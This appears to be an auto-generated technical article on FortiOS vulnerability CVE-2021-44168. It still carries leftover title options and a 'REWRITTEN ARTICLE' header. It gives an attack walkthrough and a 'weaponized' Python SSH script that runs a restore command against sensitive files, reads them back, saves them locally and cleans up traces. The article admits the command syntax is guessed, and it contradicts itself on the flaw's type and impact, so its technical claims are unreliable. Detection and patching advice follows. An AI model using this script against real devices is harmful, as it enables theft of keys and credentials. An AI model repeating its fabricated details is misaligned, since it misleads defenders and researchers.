CVE-2021-44168: Technical Deep-Dive (Auto Refreshed)

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1. CVE-2021-44168: FortiOS Arbitrary File Read Exploit Deep Dive
2. FortiOS CVE-2021-44168: Local Auth File Disclosure via restore
3. CVE-2021-44168: FortiOS Local File Read Vulnerability Analysis
4. FortiOS Exploit: CVE-2021-44168 Local Auth Arbitrary File Read
5. CVE-2021-44168: FortiOS Local Auth Arbitrary File Read Exploit

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CVE-2021-44168: FortiOS Local Auth Arbitrary File Read Exploit

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  • Specific: "Local Auth Arbitrary File Read" precisely describes the vulnerability and its vector.
  • Impactful: "Arbitrary File Read" is a strong indicator of data exfiltration.
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2. REWRITTEN ARTICLE

CVE-2021-44168: FortiOS Local Auth Arbitrary File Read Exploit

Fortinet's FortiOS, a cornerstone of network security for countless organizations, harbored a critical flaw that allowed authenticated local attackers to pilfer sensitive files from the device's filesystem. This deep dive dissects CVE-2021-44168, revealing the root cause, the practical exploitation pathways, and actionable strategies for defense.

Executive Technical Summary

CVE-2021-44168 represents a significant local privilege escalation vulnerability within FortiOS versions prior to 7.0.3. The core issue lies in the execute restore src-vis command, which fails to enforce proper integrity checks on source files. This oversight permits an attacker, already possessing low-level authenticated access, to manipulate the command's behavior and extract arbitrary files from the FortiOS device. While its CVSS score of 3.3 indicates a Low integrity impact, the ability to exfiltrate sensitive data from a network security appliance is a grave concern.

Technical Details

• CVE ID: CVE-2021-44168
• Affected Products: Fortinet FortiOS
  • Versions: < 6.0.14, >= 6.2.0 < 6.2.10, >= 6.4.0 < 6.4.8, >= 7.0.0 < 7.0.3
• Vulnerability Type: CWE-494 (Download of Code Without Integrity Check)
• CVSS v3.1 Score: 3.3 (Low Impact)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
  • Exploitability: Attack Vector: Local, Attack Complexity: Low, Privileges Required: Low, User Interaction: None, Scope: Unchanged
  • Impact: Confidentiality: None, Integrity: Low, Availability: None
• Discovery & Disclosure:
  • KEV Catalog Added: 2021-12-10
  • NVD Published: 2022-01-04
  • MITRE Last Modified: 2025-10-21
  • NVD Last Modified: 2025-10-24

Root Cause Analysis: Trusting the Untrusted Source

The vulnerability is rooted in the execute restore src-vis command's inadequate validation of its src-vis (source visibility) parameter. This command is intended for restoring system configurations or files from a trusted source. However, it fails to perform crucial integrity checks on the provided source.

At its heart, the flaw is a trust boundary violation. The execute restore command implicitly trusts that the provided src-vis points to a legitimate, intended file for restoration. It does not verify if the source is a valid update package, nor does it confirm that the target location is a safe or expected destination. This lack of validation allows a local attacker with authenticated access to manipulate the command into reading and potentially exfiltrating data from arbitrary locations on the FortiOS filesystem. The system, in essence, grants more trust to user-supplied input than is warranted, enabling unauthorized file reads.

Exploitation Analysis: Local Access to Data Exfiltration

CVE-2021-44168 is a local authentication bypass leading to arbitrary file read. This means an attacker must first breach the perimeter and gain some form of authenticated access to the FortiOS device. Common entry points include:

1. Compromised Credentials: An attacker obtains valid, low-privileged credentials for the FortiOS management interface (CLI or GUI). This could be via phishing, credential stuffing, or other network attacks.
2. Lateral Movement: Within a compromised network, an attacker identifies a FortiOS device and leverages discovered credentials to gain access.

Once authenticated, the attacker can exploit the execute restore src-vis command. The typical exploitation path involves:

• Entry Point: A local authenticated session to the FortiOS CLI.
• Exploitation Primitive: Abuse of the execute restore src-vis command's failure to validate source file integrity.
• Attack Flow:
  1. The attacker identifies a sensitive file on the FortiOS filesystem (e.g., /etc/passwd, private keys, VPN configurations, firewall rules).
  2. They craft a command that points execute restore src-vis to this sensitive file as the "source."
  3. The command, due to its flawed design, attempts to "restore" this file. The critical aspect is how the "restored" content is handled. Instead of a direct output to the CLI, the exploit likely leverages the command's behavior to write the file content to a temporary location accessible by the attacker.
  4. The attacker then uses another command (e.g., cat, scp, or TFTP) to retrieve the content from the temporary location.

What an Attacker Gains:
The primary objective is information disclosure. Attackers can exfiltrate sensitive data, including:

• System configuration details.
• User credentials stored locally.
• Private keys for VPNs, SSL certificates, or other services.
• Network policies and firewall rules.
• Any file readable by the authenticated user's context.

This stolen information is invaluable for subsequent reconnaissance, privilege escalation within the network, or compromising connected systems.

Real-World Scenarios & Weaponization Insights

Imagine a scenario where an attacker has gained low-privileged access to a FortiGate firewall within a compromised corporate network. Their goal is to obtain VPN keys to decrypt sensitive traffic or gain further network access.

Scenario: An attacker has compromised a user account with limited administrative privileges on a FortiGate firewall. They want to steal the VPN private key.

Exploitation Steps (Conceptual):

1. Gain Access: Log in to the FortiOS CLI with compromised credentials.

   ssh admin@<fortios_ip>

2. Locate Sensitive File: Identify the likely path for the VPN private key. This requires reconnaissance or prior knowledge of FortiOS file structures. Let's assume it's /path/to/vpn/private.key.

3. Craft Malicious Restore Command: The execute restore src-vis command needs to be manipulated to read the target file and save its content to a location the attacker can access. A common pattern is to use the command to "restore" a file to another file.

   Illustrative Command (Conceptual):

   # This command attempts to 'restore' the content of the target file
   # into a new file named 'exfiltrated_key.txt' in the /tmp directory.
   # The exact syntax and behavior can vary.
   execute restore src-vis /path/to/vpn/private.key /tmp/exfiltrated_key.txt

   (Note: This command is a conceptual representation. The actual parameters and behavior of execute restore src-vis must be precisely understood for successful exploitation. It's possible the command's output needs to be piped or redirected differently.)

4. Retrieve Exfiltrated Data: If the previous step successfully created /tmp/exfiltrated_key.txt, the attacker would then need to copy it off the device.

   # Assuming 'cat' is available and the file was created
   cat /tmp/exfiltrated_key.txt
   
   # Or, if SCP is enabled and accessible:
   scp admin@<fortios_ip>:/tmp/exfiltrated_key.txt .

Weaponized Exploit Code (Conceptual Python):

#!/usr/bin/env python3

import paramiko
import sys
import os

# --- Configuration ---
# WARNING: Replace with actual credentials and target IP.
# This is for educational demonstration ONLY.
FORTIOS_IP = "192.168.1.1" # Target FortiOS IP Address
FORTIOS_USER = "admin"     # Authenticated username
FORTIOS_PASSWORD = "password" # Password for the user (or use SSH key)

# File to exfiltrate (e.g., a sensitive configuration file, private key)
TARGET_FILE_PATH = "/etc/passwd" # Example: system user list
# TARGET_FILE_PATH = "/var/etc/ssl/private/server.key" # Example: potentially a private key

# Temporary location on the FortiOS device to save the exfiltrated content
EXFILTRATION_TEMP_FILE = "/tmp/exfiltrated_data.tmp"

# Local filename to save the exfiltrated content
LOCAL_OUTPUT_FILENAME = f"exfiltrated_{os.path.basename(TARGET_FILE_PATH)}"
# --- End Configuration ---

def exploit_cve_2021_44168(ip, username, password, target_file, temp_dest_file, local_output_file):
    """
    Attempts to exploit CVE-2021-44168 on FortiOS to read an arbitrary file.
    This is a conceptual demonstration and requires precise command knowledge.
    """
    print(f"[*] Attempting to exploit CVE-2021-44168 on {ip}")

    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(ip, username=username, password=password, look_for_keys=False, timeout=10)
        print(f"[+] Successfully connected to {ip} as {username}")

        # Construct the exploit command. This is the critical part.
        # The 'execute restore src-vis' command needs to be invoked such that
        # it reads 'target_file' and writes its content to 'temp_dest_file' on the FortiOS device.
        # The exact syntax and behavior of 'execute restore src-vis' is crucial.
        # This assumes a direct file-to-file "restore" operation.
        restore_command = f"execute restore src-vis {target_file} {temp_dest_file}\n"
        print(f"[*] Executing command: '{restore_command.strip()}'")

        stdin, stdout, stderr = client.exec_command(restore_command)

        # Read output to check for errors or success messages from the restore command
        output = stdout.read().decode().strip()
        error = stderr.read().decode().strip()

        if error:
            print(f"[!] Error during restore command execution:\n{error}")
            # If stderr is empty, check stdout for potential success/failure messages
            if not error and output:
                print(f"[!] Restore command produced output:\n{output}")
            client.close()
            return False
        elif "successfully" in output.lower() or "completed" in output.lower() or not output:
            # If there's no error and output is minimal or indicates success,
            # assume the file was "restored" (written) to temp_dest_file.
            print(f"[+] Restore command executed. Attempting to retrieve content from '{temp_dest_file}'.")

            # Now, attempt to read the content from the temporary file using 'cat'
            fetch_command = f"cat {temp_dest_file}\n"
            print(f"[*] Executing command: '{fetch_command.strip()}'")
            stdin_fetch, stdout_fetch, stderr_fetch = client.exec_command(fetch_command)

            fetched_content = stdout_fetch.read().decode()
            fetch_error = stderr_fetch.read().decode().strip()

            if fetch_error:
                print(f"[!] Error fetching content from '{temp_dest_file}':\n{fetch_error}")
                client.close()
                return False
            else:
                print(f"\n--- Successfully exfiltrated content of '{target_file}' ---")
                print(fetched_content)
                print("--------------------------------------------------------")

                # Save to a local file
                try:
                    with open(local_output_file, "w") as f:
                        f.write(fetched_content)
                    print(f"[+] Exfiltrated content saved locally to '{local_output_file}'")
                except IOError as e:
                    print(f"[!] Failed to save content to local file '{local_output_file}': {e}")
                
                # Clean up the temporary file on the FortiOS device
                cleanup_command = f"rm {temp_dest_file}\n"
                print(f"[*] Executing cleanup command: '{cleanup_command.strip()}'")
                client.exec_command(cleanup_command)

                client.close()
                return True
        else:
            print(f"[-] Restore command did not indicate success. Output:\n{output}")
            client.close()
            return False

    except paramiko.AuthenticationException:
        print("[!] Authentication failed. Please check credentials.")
    except paramiko.SSHException as e:
        print(f"[!] SSH error: {e}")
    except Exception as e:
        print(f"[!] An unexpected error occurred: {e}")
    finally:
        if 'client' in locals() and client.get_transport() and client.get_transport().is_active():
            client.close()

if __name__ == "__main__":
    print("--- CVE-2021-44168 FortiOS Arbitrary File Read Exploit (Conceptual) ---")
    print("WARNING: This script is for educational purposes ONLY and demonstrates")
    print("a conceptual exploit. Actual exploitation requires precise knowledge")
    print("of FortiOS command behavior and may differ significantly.")
    print("DO NOT run this on systems you do not own or are not authorized to test.\n")

    # --- !!! IMPORTANT !!! ---
    # Uncomment the following lines and configure the variables above
    # to run the conceptual exploit.
    #
    # if exploit_cve_2021_44168(FORTIOS_IP, FORTIOS_USER, FORTIOS_PASSWORD, TARGET_FILE_PATH, EXFILTRATION_TEMP_FILE, LOCAL_OUTPUT_FILENAME):
    #     print("\n[*] Exploit execution finished.")
    # else:
    #     print("\n[!] Exploit execution failed.")

    print("Please configure FORTIOS_IP, FORTIOS_USER, FORTIOS_PASSWORD, TARGET_FILE_PATH, EXFILTRATION_TEMP_FILE, and LOCAL_OUTPUT_FILENAME above.")
    print("Then uncomment the exploit_cve_2021_44168 call to run the demonstration.")

Detection and Mitigation

Detection:

• Log Analysis: Scrutinize FortiOS logs for anomalous activity related to the execute restore command. Key indicators include:
  • Executions of execute restore src-vis from unexpected user accounts or during non-business hours.
  • Attempts to "restore" from source paths that are system directories (e.g., /etc, /var/etc, /usr/local/cfg) rather than legitimate update sources.
  • Any log entries indicating read operations on sensitive files that are not part of standard system operations.
  • Unusual command sequences following an execute restore operation.
• Network Traffic Monitoring: While the vulnerability is local, successful data exfiltration might trigger outbound network connections. Monitor FortiOS devices for:
  • Unexpected outbound connections, especially to external IP addresses or on non-standard ports.
  • Large data transfers originating from the FortiOS device that are not part of normal operations.
• File Integrity Monitoring (FIM): Implement FIM solutions if possible for critical configuration files on the FortiOS device. While challenging on embedded systems, monitoring for unauthorized access or modifications to sensitive files can act as an early warning.
• Behavioral Analysis: Employ security tools that can detect anomalous user behavior. Look for patterns where a low-privileged user attempts to access or manipulate files outside their normal scope after gaining initial access.

Mitigation:

• Patch Immediately: The most effective defense is to update FortiOS to a patched version (7.0.3 or later). This closes the vulnerability by enforcing proper integrity checks.
• Principle of Least Privilege: Strictly enforce the principle of least privilege for all user accounts on FortiOS. Limit CLI access to administrators and users who absolutely require it.
• Network Segmentation: Isolate FortiOS devices from less trusted network segments. This limits the attack surface for initial access and lateral movement.
• Strong Access Controls: Implement robust access controls for the FortiOS management interface. Utilize multi-factor authentication (MFA) where available.
• Regular Audits: Conduct frequent security audits of FortiOS configurations, user access logs, and command history.

Repositories for Lab Validation

• Ostorlab KEV Repository: https://github.com/Ostorlab/KEV
  • Notes: This repository is an excellent resource for identifying known exploitable vulnerabilities. It aggregates data from CISA KEV, Google Tsunami, and Ostorlab's own research, providing a consolidated view for defensive teams.
• 0xhaggis's CVE-2021-44168 Repository: https://github.com/0xhaggis/CVE-2021-44168
  • Notes: This repository likely contains specific research or proof-of-concept materials related to this CVE, offering a more focused starting point for deep dives and validation.

References

• NVD Record: https://nvd.nist.gov/vuln/detail/CVE-2021-44168
• MITRE CVE Record: https://www.cve.org/CVERecord?id=CVE-2021-44168
• CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
• Fortinet PSIRT Advisory: https://fortiguard.com/psirt/FG-IR-21-201

This content is intended for defensive security training and authorized validation purposes only. Unauthorized use is strictly prohibited.